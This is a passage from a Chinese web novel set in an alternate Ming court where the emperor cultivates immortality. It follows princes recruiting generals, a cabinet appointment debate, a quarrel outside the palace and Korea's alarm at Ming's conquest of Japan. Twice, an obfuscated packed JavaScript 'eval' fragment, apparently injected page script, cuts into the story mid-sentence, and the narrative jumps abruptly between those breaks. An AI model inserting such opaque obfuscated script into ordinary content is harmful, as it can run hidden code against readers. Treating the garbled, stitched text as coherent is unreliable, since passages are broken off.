但王崇古可不是,那是妥妥的裕王党,当初也是清流死保力荐,才去的大同。 一时间,马芳有些看不懂了,莫非并不是拉拢,而是什么别的? “信里的内容,我就不说了,”看着马芳努力想明白其中弯弯绕绕的模样,王崇古也知道,他不是个花肠子,干脆道: “意思很明确,殿下要我效忠于他,”说着,语气微微一顿指了指马芳,道: “自然,还有你!” “我?!”马芳一愣,不过跟着又摆摆手,欠了欠身,坐直身体,向前倾了倾,道:“学甫兄,你等等,我有些迷糊了……” “你本身就是代表着清流吧?”马芳说着,“我虽对朝堂派系不是很清楚,但也知道你当初可就是清流一系力保之人。” “现如今官场中的人都知道,清流支持的人就是裕王殿下,既然如此,殿下又何必给你写信要拉拢你呢?这不是多此一举?” 说着,马芳眨了眨眼,一副不明白的样子。 看着马芳的样子,王崇古沉默片刻后,开口道:“此事说起来太过复杂,涉及到了朝廷日后的发展,武勋未来的一些事情。” 王崇古说着,摇了摇头,道: “这些不说也罢,日后你就会明白,其实裕王殿下与我早有联系,内阁局势怕是会在不久后大变,你我也必须要早做准备了。” “不懂,”马芳干脆摇头,“可不管怎么说,徐阁、张阁、高阁和赵阁都是如今清流一派的带头人,他们肯定是支持殿下……” “如果,他们不再支持了呢?”马芳话还没有说完就被王崇古的话打断。 “什,什么?!”听到这话,马芳愣了一下,而后倒吸口气,瞪着眼。 一副我听到了什么,这是我能听的东西吗?突然,马芳有些后知后觉的发现,自己知道这么多,是不是注定了要上裕王的船了? “不,不可能吧?”马芳咽了口口水,有些强颜欢笑,道:“他们不支持誉王殿下,还能支持谁?难道是景王殿下吗?” “皇上年龄大了,总有一天会大限来临然后……”说着,马芳比了比口型,但意思明确,然后继续道:“他们不支持裕王殿下,若是让严党胜利。那时候,他们必然会遭到清算……” “大限来临?”听到马芳的话,王崇古发出一声莫名的哼笑,而后抬起头,语气幽幽道:“若是,那一天不会来临……” “若是,皇上日后再诞下许多子嗣呢?那太子的人选,会不会在日后的某一位呢?” “额,哈哈哈……”看着王崇古这一副模样,马芳先是一愣,继而哈哈大笑,道:“学甫兄,你在胡说什么呀?” “就算皇上日后纳妃,诞下龙子,那孩子才多大?二位殿下经营了多久?” “太子人选,怎么可能从日后的小皇子中选嘛?你肯定是被这倭人的猫尿给喝醉了,开始说起了胡话,绝对不可能的!” 马芳说着,连连摇头,然后轻松惬意的拿着筷子夹了一块生鱼片,送入口中。 “嘉靖四十年,葬灭阴山一战,德馨可曾听说?”王崇古看着不以为的马芳,想到裕王殿下的命令,以及那些赏赐,心中已然有了决定。 “那是自然,哼……”马芳说着,发出哼笑,道:“就是那一战,让学甫兄你,被史官记载成了大明‘福将’,哼哼……” “咕嘟,”说着,马芳咽下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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修仙,仙人?长生不死?这,这怎么可能呢?这简直让人无法理解! 突然,他又联想到不久前,大明天穹之上,那震动天下的异象。 虽然朝廷钦天监及时出面,说那是上天对大明盛世来临感到欣慰,所以降下祥瑞,安抚民心,可依旧让不少百姓深信世上有仙神。 但他却不以为意,只当时天降异象,或者是什么海市蜃楼,这种事他当初在边关也曾见过,并不足为奇。 但是现在,有人告诉他,一切都是真的,这世上真的有仙,这对他的世界观冲击力太大了。 这要是有朝一日,仙人存在公布于天下,那时又是何等景象?他不敢想,也无法想象。 “德馨,”就在马芳发呆之际,王崇古郑重而严肃的声音再次响起,让他猛的抬头。 “你,不想修仙吗?不想踏上仙途,长生不死吗?”王崇古说着,身子微微前倾,肃容凝视着马芳,沉声道:“来吧,加入裕王阵营!” “未来,大明是我等武将大展宏图的机会,加入裕王殿下的阵营,全力支持……” “我等也能获得仙法,长生不死!” “咕嘟!”随着王崇古的声音响起,马芳情不自禁的吞了口口水,眸子也跟着红了。 修仙,长生不死,谁能拒绝?谁不想当神仙?! “你难道不想自己的家谱,从自己这一代开始改写吗?不想让自己的家族,发展成修仙家族?内阁诸老,如今已经开始了!” “你难道甘愿落于人后?” “学甫兄!”终于,马芳突然开口,而后猛的一抱拳,道:“劳烦转告裕王殿下,承蒙殿下看得起,我马芳,愿意效忠!” 马芳是一个纯粹的武将,大口吃肉,大口喝酒,百战沙场,马革裹尸,他对**的展露,很是纯粹,也不会有弯弯绕绕。 如今有仙法,可获长生之机,他就会牢牢抓住,绝对不会错过! 见马芳同意,王崇古心里也松了口气,脸上不由露出一抹笑容。 从裕王口中,他已经知道了,未来内阁中,必有武勋一席之地。 如今,景王殿下也在争取武勋,培养新的心腹,这就是他们的机会! 绝对不能放过! 王崇古想的不错,就在他拉拢马芳的同时,胡宗宪麾下的戚继光和俞大猷,也开始了密探,二人也在选择,是否效忠。 一场无形中,因为二王储君之争,朝堂格局大变的风暴,正在酝酿。 …… 翌日午时。 天空阴沉,宫里来了话,召二王贺内阁,今日玉熙宫议政。 西苑宫墙之外,徐阶、高拱、张居正等人早早的就等候在了这里。 虽然如今裕王跟他们之间,已经有了一些隔阂,但众人依旧对裕王尊敬有加。 虽然说是说皇上日后可能不会有一个妃子,可毕竟现如今,还是裕王跟景王势大。所以,双方彼此依旧维持着面上的合作关系。 但裂痕被海瑞撕开后,只会越来越大,而不会越来越小。 “哈哈哈,”高拱突然大笑,“衍圣公大义啊,讨严檄文你们都看了吧?” 闻言,张居正等人都是微微一笑。 “自然是看了,衍圣公出手,严世蕃怕是一整晚都没睡着吧?” 这时,赵贞吉也跟着开口了,“正好,今日议事,倒是可以在皇上面前,提一提。” “衍圣公都出来说话了,认为严世蕃此举,太有伤天和,非人哉。所以,关于瀛州府那些倭人,还是要慎重对待。” “来了。”这时,张居正看着远处严家父子的轿子,突然出声。 “哼!”高拱冷笑一声,已经迫不及待的想看看严世蕃的脸色了。 衍圣公,代表的可是儒宗!这檄文怕是已经传遍天下了,看严世蕃还能如何? 严嵩从轿子里出来,照惯例跟徐阶等人客套,而严世蕃就服侍在一旁。 不一会,裕王跟景王到来,众人结伴进了西苑,朝着玉熙宫而去。 而高拱,也适时的开口说起了衍圣公的‘讨严檄文’言语间,更是多有挑衅。 然而让高拱诧异的是,严世蕃脸上毫无表情。这跟他平日里,一点就炸的炸药桶处事风格的反差太大了,众人都是心中疑惑。 不自觉的,张居正、高拱和赵贞吉三人互看一眼,眉头都不由的拧了起来。 反常,太反常了! 不自觉的,几人突然生出一个想法,那就是这位小阁老,如此沉得住气,竟隐隐有种莫名的气势,一时间几人都警惕起来。 防止严世蕃憋着坏‘放大招’! 今天,沉默的小阁老,格外的可怕,压迫感,格外的强! “……” 第一百五十五章 内阁权力洗牌,严世蕃要变法? 玉熙宫内。 嘉靖端坐于最上方的御座上。 下方左右两侧,裕王跟景王二人端坐,而严嵩依旧坐在自己的小板凳上。 那张长桌两侧,内阁和司礼监站立。 “都说说吧,”嘉靖看向下方众人,轻抬了抬手指,“谁先来?” 听到这话,司礼监,陈洪等人双手揣在袖口里,眼观鼻,鼻观心,老神在在的模样,这种政务跟他们无关,反正都是内阁的活。 再看内阁这边,徐阶站在最前排,然后是高拱、张居正,严世蕃和赵贞吉。 听到嘉靖的话,首辅和次辅两位阁老自然不会率先开口,高拱看了看身旁的张居正,张居正看了看身旁的严世蕃,赵贞吉也看了过来。 衍圣公‘讨严檄文’的事在场众人都知道,在他们看来,严世蕃肯定不会罢休,所以都等着严世蕃先出手,然后他们再相机行事。 然而迎来清流众人的目光,小阁老严世蕃却是一句话都不说,始终一副冷淡淡的样子。 嗯,颇有一种严嵩的架势。 “既然都看严世蕃,那严世蕃你来说说。”嘉靖自然察觉到了几人间那股微妙的气氛,至于原因,他自然是清楚无比了。 说实话,孔家这次不跳出来,他都忘了。 孔家代表的是整个儒宗,既然大明要发展一方仙国,那就要完成方方面面的优化,儒家的地位,也是时候变一变了。 想要对儒家动刀,那就绕不开孔家。而持刀的人选,毫无疑问是严世蕃了。 “是,”听到皇上点名自己,严世蕃严肃的踏出一步,躬身一礼道:“关于瀛州府的布置,已经全部妥当,预计一两年内,所有荒地都能完成开垦,届时便可安排军户登岛安置。” “臣相信,不出三年,瀛州府将会是……”说着,严世蕃语气一顿,“将会是我大明最大的灵物资源蕴育之地!” “它会为皇上,为朝廷,提供源源不断的灵物资源,让我皇仙道大业,宏图无限!” 听到严世蕃开口,竟然没有针对孔家,众人都是一愣,纷纷投去一个诧异的眼神。 不过很快众人就在心中有了判断,知道严世蕃这是憋着坏呢。 严世蕃何许人? 睚眦必报,心胸狭隘,从来都是他欺负人,没见过别人欺负他的,这次受了这么大委屈,他能忍?哼哼,他要是能忍就出鬼事情了! “此外,”严世蕃肃容对嘉靖汇报着,“此次瀛州府可收复,全是我大明将士奋不顾身,统军之人,如胡宗宪,唐顺之等,更是领导有方,运筹帷幄,臣以为当犒赏有功之臣。” 说完,严世蕃躬身,表示自己说完了。 然而他是说完了,可这一番话,却不是众人想听的,都等着你严世蕃开火呢,你怎么这么淡定?这不符合你严世蕃的风格啊! 其中,最为着急的莫过于严世蕃的老对手高拱了,他都打好等严世蕃对孔家开火后,自己进行阻击的腹稿了,结果对方熄火了。 这怎么可以? 此刻的高拱,突然有种蓄力一箭已经准备,突然失去靶子,让他不知道向哪发射的憋闷感,实在是难受的厉害。 “确实要嘉奖,”嘉靖微微颔首,然后看向严嵩,道:“严阁老,你怎么看?” “回皇上,臣以为严世蕃说的在理,”严嵩微微拱手,语气温吞,“如今土地改制第二阶段顺利进行,而且比预想的还要快。” “怕是两年时间就能全部完成,届时我大明将会迈入一个崭新的未来。再加上,未来我大明国土也会扩张,疆域广大……” “所以,臣以为这内阁人数,”说着,严嵩回头朝着徐阶等人瞥了眼,然后道:“也该扩张一些了,以后土地改制的第三阶段,第四阶段开始,都与军事紧密联系,若是内阁中有军中能臣,也方便商讨对策。” 听到这里,徐阶眼中莫名之色一闪而过,心中却对严嵩的提议,丝毫不例外。 未来大明的新贵是军中之人,这点他们所有人心里都清楚,严嵩此前就已经开始谋划了,这个时候提出来,也没什么惊讶的。 “不如,就让胡宗宪、唐顺之入阁吧,当做是奖赏,至于军中……”说着,严嵩语气微微一顿,目光微不可察的瞥了眼裕王跟景王,继续道:“老人挪开位子了,新人才能上来。” “呵呵,”说话间,他笑的越发的慈祥,道:“胡、唐二人麾下的,戚继光、俞大猷,王崇古和马芳,都是不可多得帅才。” “这些人的位子,也该动一动了。” “下面那些将领,也都会因此而晋升,毕竟国战胜利,朝廷理应为他们加官进爵嘛。”说完,严嵩微吸一口气,道:“况且,臣如今担任着给朝廷豢养灵兽大军的职责。” “但老臣毕竟属文官,对军事方面的事情,也知之甚少,还是要找个能挑大梁的人才是,胡宗宪,或是唐顺之,都是栋梁。” 这番话说完,就是在明着告诉嘉靖,我要交权了。 之前嘉靖在京城郊外给严家赐了一块灵地,专门用来对灵兽的培育。 灵兽大军是未来大明仙朝,配备给仙武卫的,严嵩知晓其中利害,军权他 是半分都不想碰,这个时候提出来,就是在表忠心。 当然,严嵩不要军权,但也不会把军权这种,未来大明的‘新贵’交给旁人。 唐顺之也好,胡宗宪也罢,交给谁都行,前者是自己提拔的,自己于他有恩,后者是自己的学生,这二人身上都是世人眼中的严党。 严嵩的话说完,除嘉靖之外,在场众人可以说是神色各异,心中想法也各不相同。 “老狐狸!”高拱看着严嵩的背影,心中暗骂一声,“现在谁人不知道,唐顺之跟胡宗宪都是你严党一系的人。” “把这二人都安排成你严党的人,说到底还是要在这内阁中争夺更多话语权!” “不行,绝对不能让严嵩这老贼得逞!”高拱拳头攥了又攥。 他感觉今天真的是诸事不利。 看严世蕃的笑话没看上,还听到严嵩老贼堂而皇之的在大殿上,大贪特贪。 不过此时,因为严嵩一番话而眼神阴沉的,可不光是高拱等人,还有裕王跟景王。 他们二人也想在内阁,重新培养自己的人,裕王拉拢了王崇古和马芳,景王拉拢了戚继光和俞大猷,严嵩直接让唐顺之和胡宗宪入阁,自然是损害了二王的利益。 不过严嵩显然是知道这点的,但他不在乎。 严嵩说完,便不再言语了,而是等着嘉靖的决断。 嘉靖自然也是看的明白严嵩的想法的,对严嵩的上道,他心里很清楚。 “严阁老所言深得朕心,”嘉靖面容微宽,赞许道:“我大明国土扩张,疆域无垠,这内阁成员数量,也确实要扩充一些了。” 说着,嘉靖语气微微一滞,又道:“不过既然是扩充内阁,那就跟在坐的都有关系了。” 其他人听到这里,都是心中一动,看来皇上是要他们抒发意见了。 “都说说吧,”嘉靖说着,袖子轻轻一甩,惬意道:“畅所欲言,本次内阁名额……” 说着,嘉靖面上露出一抹笑容,竖起三根手指,道:“三个!” 三个名额!听到三个名额,众人都是眸子里精光一闪,就连严嵩都没想到。 他本以为主动将灵兽大权交给皇上,再把胡宗宪和唐顺之推出来,皇上定会在二人之中选一个武勋入阁,而他猜测,皇上肯定选唐顺之。 原因很简单,胡宗宪是自己的弟子,而唐顺之当年之所以被划分到自己麾下,原因很复杂,有自己的威逼利诱,可以说是被迫加入。 虽然自己也确实实心实意的帮扶于他,这么多年来,唐顺之借着严党心腹之名,也确实实现了心中不少抱负和理想。 彼此间倒也算是有了那么些情谊。 但论亲疏远近,终究是不如胡宗宪的。 皇上从这二人中选择一个的话,肯定是选择唐顺之。 而那时培育灵兽那块灵地在他手里,各种灵物资源,灵兽资源,他严家都不会少,他要的就是这些东西,权力反而不看重。 可以说,这算盘他早就在心里打的啪啪作响了。 不过让他没想到的是,皇上竟然给了三个入阁的名额。严嵩心里开始盘算了起来,暗暗猜测皇上给三个名额的用意。 想着,严嵩瞥了眼二王,顿时恍然。 “朱载坖,朱载圳,”这时,嘉靖又点了两个儿子的名字,“你们也说说。” “这些年,你们二人帮朕协理内阁,对国事想必也都已经有了自己的看法。” “是,父皇。”裕王跟景王立刻起身。 “三哥,请。”景王抬了抬手,表现的很是有礼貌,这么长时间,他们二人都已经突破到了练气一层,但他的修炼速度始终在裕王之上。 被父皇夸奖的次数也最多! “嗯,”面对景王的客气,裕王点了点头,也不墨迹,直言道:“儿臣举荐原宁夏巡抚,马芳。此人本就是驻守大同的将领。” “曾数次抵挡俺答大军,立下汗马功劳,军事方面,更是娴熟无比。” “还有原兵部侍郎,王崇古,军事才能上,王将军比马芳也不遑多让,重要的是他此前还是嘉靖四十年,‘葬灭阴山’一战中的功勋。” “可以说比马芳更为适合入阁!” 裕王提到‘葬灭阴山’一战,自然是在告诉嘉靖,此人早已知晓仙人一说,希望以此可以增加推王崇古入阁的机会。 而之所以先提马芳,后提王崇古,就是为了用马芳来体现出王崇古。 其实论资历,终究是王崇古更合适。 “儿臣说完了。”裕王说完,便站在一旁。 这时景王也跟着开口道:“儿臣推举戚继光和俞大猷。”然后,景王也将戚继光和俞大猷的功绩,资历都说了一遍。 “嗯,裕王跟景王都说完了,徐阁老,你们有什么人要推举吗?”嘉靖看向徐阶。 闻言,高拱、张居正和赵贞吉,都看向了徐阶。 毕竟,徐阶是他们清流派的带头人。 在徐阶没有开口的时候,他们自然不适合抢先开口。 迎着众人的目光,徐阶先是抬头看了上方的嘉靖一眼,而后神色平静的站出来一步,开口道:“回禀皇上,严阁老和二位 殿下推举之人,就是臣想要推举之人。” “这些人都是国之栋梁,”徐阶说着,语气微微一顿,继续道:“除这些人外,其他人都不适合,也只有他们最合适。” “臣没有要推举之人。” 没有推举之人?!什么意思?徐阶这是要退出在内阁争权了?严世蕃一愣。 当然此时惊讶的,还有高拱、张居正二人,他们都想不明白,徐阁老为什么会突然放弃? 清流派系,还有武勋之中,他们也有人要推举啊,这个时候,为什么要放弃? 徐阁老可是早就跟他们说了,未来内阁,朝堂之上,武勋将会是大明朝的新贵。 这个时候,不拉拢武勋,不培植自己的势力,却选择了放弃,这是何意? 此外,就连裕王跟景王,都是诧异不已。 “这徐阶,莫非是昏了头了?”司礼监众人中,陈洪诧异的抬了抬眼皮。 这么好的拉拢武勋机会,竟然放弃了?想不通,实在是让人想不通。 而此时,内阁和司礼监中,只有吕芳、严嵩和赵贞吉三个人,眸光一闪明白徐阶的想法。 “这个徐阶,是个明事理的。”吕芳看了眼徐阶,眼神中有满意之色浮现。 严嵩依旧一副,眼观鼻,鼻观心的模样,低眉垂目,似乎是没听到徐阶的回答一般。 他对这个答案,毫不意外。 甚至在严嵩看来,若是徐阶这个时候,推荐了清流派系的人入阁,才是昏了头了。 站在最末尾的赵贞吉眸光一闪,看着气急的高拱,还有不明白,不理解的张居正,心底一叹,而后当先一步走出。 “臣以为严阁老和徐阁老说的在理,臣亦没有人选推荐,还请皇上圣裁!” 赵贞吉?!见赵贞吉竟然也同意了徐阶的做法,高拱又是一瞪眼 张居正一怔,看了看赵贞吉,又看了看徐阶,眼神中若有所思,直觉告诉他,徐阁老并不是个无的放矢之人。 还有赵贞吉,上次‘聚田削宗’的国策,已经证明了对方并非无能,甚至是一个不喜欢把聪明才智表露出来,胸中已有沟壑之人。 如此聪明人,都选择了徐阁老,那么自己何必如此急躁?当沉住气才是! 心中一动,张居正打算相信徐阁老,一步踏出,躬身一礼,道:“请皇上圣裁。” 见张居正都这么说了,高拱咬了咬牙,不过他虽然性格耿直,脾气火爆,却也不是什么会被情绪左右,在大事上失去理智之人。 “臣附议!”高拱压下心中不快,躬身道。 至此,内阁中的派系,已然分明了起来,裕王、景王、严党和清流,四个派系。 裕王跟景王有意在内阁中培养新的心腹,严党的想法也差不多,清流选择按兵不动。 虽然表面看,严党支持景王,清流支持裕王,是两大派系,终究是二王之争。 但从上次海瑞撕开彼此那一层窗户纸后,二王和麾下势力,已经有了不可弥补的裂痕。 二王想要扶持新的,完全效忠的势力,这是两股势力,而严党要扶持自己人。 至于清流,内阁算上徐阶,就四个人,这四个人,每个人都有自己的治国理念和抱负,但也可以看做是一个整体。 因为这四人,虽然是裕王的老师,但未来局势,波云诡谲,局势早就变了。 若是皇上真的纳妃,真的诞下其他皇子,那么这四人,随时会分裂成四个派系。 但至少目前来说,四个派系四方制衡,谁都不会,也不能打破平衡。 “因为,这是皇上想要的平衡,我不能打破这个平衡,我要为皇上铺台阶!”徐阶低眉垂目,心中却是暗暗说道。 看到这一深层意思的,只有常年陪在嘉靖身边的吕芳,老谋深算,对嘉靖极为了解的严嵩,以及始终以局外人,旁观的赵贞吉三人。 吕芳跟严嵩都是对皇上了解,明白徐阶只有这么做才会迎合到圣意,不能给皇上惹麻烦,而赵贞吉,完全政治嗅觉够高。 “既然如此,那就由朕来敲定吧,”嘉靖看着内阁就这么分化后,换了个舒服的坐姿,轻抬了抬手指,“既如此,便选三人……” “胡宗宪,王崇古和俞大猷。” 听到最终入阁的三个人选,众人都是一愣,这完全出乎了他们的意料。 为什么入阁的不是唐顺之,而是胡宗宪? 至于王崇古和马芳,倒是没什么区别,也正如裕王所言,王崇古有着马芳没有的经历,那便是王崇古曾担任过兵部侍郎一职。 可是戚继光跟俞大猷,也让人众人不解。 戚继光的才能,年纪轻轻,嗯,对他们来说,年纪并不大,但终究是太小,而俞大猷那么大年龄,却偏偏被选入了阁。 此刻,严嵩最为不理解,为何皇上不选唐顺之这个“更干净”的人,却选了自己的派系。 莫非是要自己,主动跟胡宗宪完成切割?不想让军中有自己的任何一个派系?可若真是如此,以前胡宗宪不也坐镇东南,变相的是自己和严党的支柱吗?为何突然如此? 严嵩的眉头深深的皱了起来。 一时间,老神在在, 始终一副运筹帷幄的严嵩,心头再次猜测不已。 “可有异议?”嘉靖开口询问道。 “臣等(儿臣)没有异议,吾皇圣明!”众人纷纷表示,没有任何意见。 至此,内阁三个人选确定。 “行了,都散了吧,”嘉靖摆摆手,示意众人可以散了,而后又道:“严阁老留下,陪朕吃饭。” 听到嘉靖这么说,严嵩心中所有思索,终于在这一刻瞬间打消,他已经有了答案。 其他人好奇,不过却也只能躬身告退。 “吕芳,做饭。”嘉靖起身摆摆手,朝着偏殿处而去,严嵩赶紧跟上。 此时,灵田小院已经被改造成了菜园子,除了灵米,还有一些蔬菜灵物。 而嘉靖的日常饮食,也都已经归吕芳所管,为此吕芳还刻意的去学了一手新的厨艺,为的就是更好的伺候主子用膳。 当然,不仅仅是一些蔬菜类的灵物,还有严嵩在京城郊外那片灵地当中,圈养的一些灵鸡灵鸭,这些都是自诞生起就喂食了灵泉。 当涨到一定体积的时候,就会宰杀了,然后送入宫里,由吕芳的储物袋收藏,毕竟储物袋,还具备着保鲜,保温的作用。 而在吕芳做饭的时候,散去的内阁众人,尤其是徐阶为首的高拱、张居正等人,都是一脸不解的看向徐阶,想要一个明白的答案。 然后,徐阶便将自己的考量,还有给皇上的台阶,全部给众人和盘托出。 “原来如此!”听完徐阶的考量之后,高拱和张居正心头顿时恍然大悟。 同时对徐阶也越发的佩服了起来。 他们只想着在内阁当中争取未来的话语权,但却是忘记了皇上始终要的都是平衡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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有这种血一般的历史教训摆在史书上,所以后世皇帝都选择了立长不立贤,这是最稳妥,防止帝国动荡的方法。 但是这种动荡,这些对于一个仙朝来说,那又是另外一种事了,仙人手段莫名,长生不死,有太多的时间,来看谁最适合当太子了。 甚至,当了太子,也不一定就是最好的,但太子的名头,却能方便很多事。 徐阶等人,没有一个是头脑简单的,这一点他们自然看得清楚。 修仙目的是什么?长生不死,飞升成仙。 当初他们撺掇裕王和景王争夺太子之位的理由就是因为太子是皇帝之下的第一人,整个帝国的权力在皇帝不干预的情况下,太子最大! 而太子可以动用最大的权力,获得最多的资源,他们这些臣下也会跟着获得一定的好处,至于皇位,早在知道皇上修仙之后就不再去想了。 没有人知道皇上会在这个皇位上坐多久,毕竟皇上可以享用帝国全部的资源,而在成仙之前,以他们对皇上的了解,怕是不会让位。 所以,太子人选,才是他们最终要支持和跟随的人。 而他们需要做的只有一个,在朝堂之上,尽可能的抱团,拉拢自己的人脉。 让未来有一天,太子人选真的出现之后,让太子只能用他们,而不是用其他新的心腹。 当然,徐阶等人心里明白,皇上也是这么想的。 裕王跟景王二人,依旧没有等徐阶等人,只是在众人见礼过后,便转身离开了。 只有严世蕃,看着头顶阴沉的乌云,默默的跟在众人身后,不知道在等什么。 “呵,小阁老这是要等严阁老?”这时,高拱等人结伴而出,见严世蕃等在门口,不由出声,只是语气中带着几分莫名。 高拱可还没忘记,严世蕃 今天的反常表现。 直觉告诉他,严世蕃肯定心里憋着坏呢,毕竟以严世蕃的为人,受了衍圣公那么大的气,竟然能表现得心平气和,这太反常了。 所谓事出反常必有妖,所以高拱必须要知道严世蕃心里真实的想法,从而尽早作出应对。 “无脑蠢货!”然而,在高拱刚开口,才起了个话头,得到的却是严世蕃一句冷言嘲讽。 “严世蕃,你!”被严世蕃毫不留情的开骂,高拱一怒,三两步就要冲上前却被张居正拦住,“肃卿,冷静,莫失了体统!” “何必跟这种小人争口舌之利?” “小人?”严世蕃本就心头烦躁,不明白皇上为何面对自家送上门的唐顺之不要,却单单要胡宗宪这个“自家人”,此时被高拱和张居正连番挑衅,顿时也不忍了,直接开骂! “到底谁是小人,张居正你心里清楚!”严世蕃指着张居正,连连冷笑,“当了婊子立牌坊的事,你还干的少吗?” “跟我这里谈什么君子小人?” “你敢说今日在那大殿之上,你张居正就没想过推荐自己心仪的人选?”严世蕃说着,连连冷笑,“脖子都快伸折了吧?” “看到老徐不站出来推人,心肝都要急的跳出来了吧?”严世蕃又转头看向高拱。 有些时候,真相真的很刺人。 尤其是说这番话的人,还是满嘴脏话言辞狠辣,直指真相的人。 一时间,被戳中心思的高拱和张居正,面色都是不由的一红,嗯,是被气的。 他们承认严世蕃说的都是他们当时的想法。 而张居正脸色也不由得一阵铁青,他当时确实是梗着脖子,朝着徐阶看了过去。 高拱脾气本来就火爆,性子耿直,当时听到徐阶竟然放弃往内阁推人,他确实心中很急。 只是没想到,这些细微的举动,竟然掉进了严世蕃小人的眼睛里,当真可恶! “说我们争权夺利,贪婪无度,你们就不是吗?”严世蕃厉声喝道:“你们几时想过我大明朝?说我小人?我看你们都他妈是小人!” “严世蕃,你,你……”被这么一骂,高拱暴怒,一把推开张居正,举起拳头就朝着严世蕃打去。 “肃卿,不可!”看到这一幕,被推开的张居正还没有反应过来,就听到了徐阶的一声低喝,一旁的赵贞吉也发出惊呼之声。 谁也没想到,高拱竟然会选择直接动手。 “呵,动手是吧,那来吧!”小阁老也不是个忍气吞声的,毫不退让,直接迎着上去。 只见他周身,肌肉鼓起,太阳穴陡然鼓动,若是此刻嘉靖能看到,定然会发现,严世蕃体内的气血开始凝聚。 这显然是修炼了仙武法的征兆! 没错,仙武法,在仙武卫公开之后,严世蕃曾请教过陆炳,毕竟这些日子以来,灵马也培育出了不少,仙武卫已经开始训练。 两方不可避免的会接触,严世蕃有意无意的请教过陆炳,而陆炳在询问过嘉靖后,就给了严世蕃一份修炼之法。 当然修炼之法就算给了严世蕃,他也不敢随便的传出去,分寸这东西,严世蕃还是知道的。 而嘉靖也不怕严家敢屯兵,整个大明都在他的掌中,嗯,真正意义上的掌中。 哪里有叛乱,他随时可以让山崩地裂,再上演一场‘葬灭阴山’,仙武卫再强,也不过是凡人,这些新军是对付诸国,和未来战争的。 在大明境内,对自己无效! 所以,严世蕃修炼便修炼,并没有什么值得大惊小怪的。只是嘉靖也没有想到,以严世蕃的身份地位,竟然会练武,成为一个粗鄙武夫。 只能说,这个小阁老,想法很多。 看到高拱竟然要跟自己较量,被孔家的檄文弄得肚子里憋了一口恶气没发的严世蕃,顿时决定给高拱这蛮子一点皮肉上的震撼! 小阁老现在已经不满足于口头上的争锋了,他现在只想让这些人感受感受**的疼痛。 他要让这些迂腐不化,喜欢当了婊子又立牌坊的清流,知道知道,如果不想好好说话,那么我严世蕃也略通一些拳脚。 至于内阁重臣,在玉熙宫外公然斗殴会有什么后果,他严世蕃也不怕! 大不了被皇上惩罚,皇上还能杀了自己不成?反正被打,被丢脸的不是自己。 他严世蕃,从来没有惧怕,和在乎过外界的眼光,修仙之后,除了同等身份,都是世俗。 “唰!”然而就在严世蕃打算一拳轰出,连着在场的几人,来个镇压的时候,一道人影突然如鬼魅一般出现,抬手拦住了严世蕃。 突如其来的一幕,让乱做一谈的几人,心中陡然一惊,而后纷纷恢复理智。 众人都看着那横在严世蕃跟高拱之间,抬手抓着严世蕃胳膊的紫衣身影。 这是一个小太监,看起来只有十五六岁。 “小阁老,玉熙宫前,不可动手。”小太监说着,放开了严世蕃的手,同时躬身。 “这小太监的修为,至少在后天二重!”看着眼前这个从未见过的小太监,严世蕃心中暗暗一紧,刚才那股力量,他根本反抗不了。 仙 第一百五十六章 诸邦异国惊悚!嘉靖四十七年,严世蕃的利剑! 嘉靖四十四年,二月十六。 大明灭国日本,改日本岛为瀛州府的消息,已经席卷了周边所有国家。 此外还随着进入瀛州府港口贸易的葡萄牙返回的商船,开始向海外诸国慢慢发散。 而海外诸国,只知道在遥远的东方那个强大的明帝国,它并未衰弱,而是继永乐、仁宣后,再次伟大起来,并亮出锋利的爪牙! 以雷霆之势,直接灭掉一国的壮举,海外诸国的反应,大明自然是不知道的,但周边那些小国,例如朝鲜,安南,琉球等国却是一片惊悚。 一个个在这一刻,全都噤若寒蝉。 突然,太突然了,他们知道日本此前一直处于内乱之中,但与各大家族的贸易依旧保留着。 在他们看来,毫无征兆的,大明就灭了日本,直接将一国改成了一府之地,这种实力,由不得他们不警惕,不感到惊动。 说不定下一个就轮到他们了! 朝鲜,汉城府,王宫之中。三十一岁的朝鲜王李峘(hua),严肃的端坐在王座上,看着下方群臣,眉宇间有阴沉之色发现。 而在他身后的帘帐后,却是空空如也。 他的母亲,大王大妃病重两个月了,太医正在全力救治,可笑的是关于母妃的病情,他这个大王,亲儿子,竟然没有资格第一时间知晓。 (注:大王大妃,可简单理解为太后。) 虽说是生母,但李峘此刻却并不悲伤,因为整整八年,他已经当了八年的傀儡皇帝了。李氏王朝,已经快要变成姓尹的天下了。 而这一切的罪魁祸首,就是他的母妃,尹氏。 想及此处,李峘眼底有冷色浮动。 目光看向下方,领议政尹元衡,自己母亲的亲弟弟,自己的亲舅舅。 (注:朝鲜王朝的领议政可以理解为宰相或者是内阁首辅之类的。) “禀大王,”群臣之中,一名身着绯色官袍,年约五旬,须发皆白的老者一步踏出,开口道:“大明诛灭日本,改为瀛州府,臣以为我朝当立刻派遣使臣前往大明。” “一来,是为探明情况。二来可以加强双方关系,避免大明对我朝有所不满……” “金议政!”老者话还没说完,这时就听另外一个苍老,却中气十足的声音跟着响起。 听到开口之人的声音,王座之上的李峘眼底闪过一抹冷色,朝着那个位列百官之首的老者看去,此人不是别人,正是自己的舅舅尹元衡! 同时,他也是权倾朝野的领议政。 而刚才率先开口说话的那个人,则是左议政金正熙,也是朝堂之上明确效忠于自己的人。 (注:金正熙为虚构;左议政的官职大小,可看做是内阁大学士之类。) “请你注意自己的言辞,”尹元衡踏步而出的同时,一双阴冷的倒三角眸子,斜睨了一眼这个与自己作对的人,“我朝与大明是宗藩关系不假,但你也没有必要如此的奴颜婢膝!” “他大明王朝就算再强又如何?” “难道还能因为我朝没有第一时间派遣使者奴才去吹捧,就要灭了我朝不成?” “我希望你记住,我朝与他大明是平起平坐的,不要总想着涨他人士气灭自己威风!” 说着,尹元衡双臂高抬,霸气环顾四周,道:“我朝将士,也不是倭人所能比拟,某些人最好记住,自己是哪一国的臣子!” 随着尹元衡开口,朝堂之上支持他的大臣纷纷响应,而支持金正熙的人也只能忍气吞声,没办法,如今尹家势大,他们斗不过。 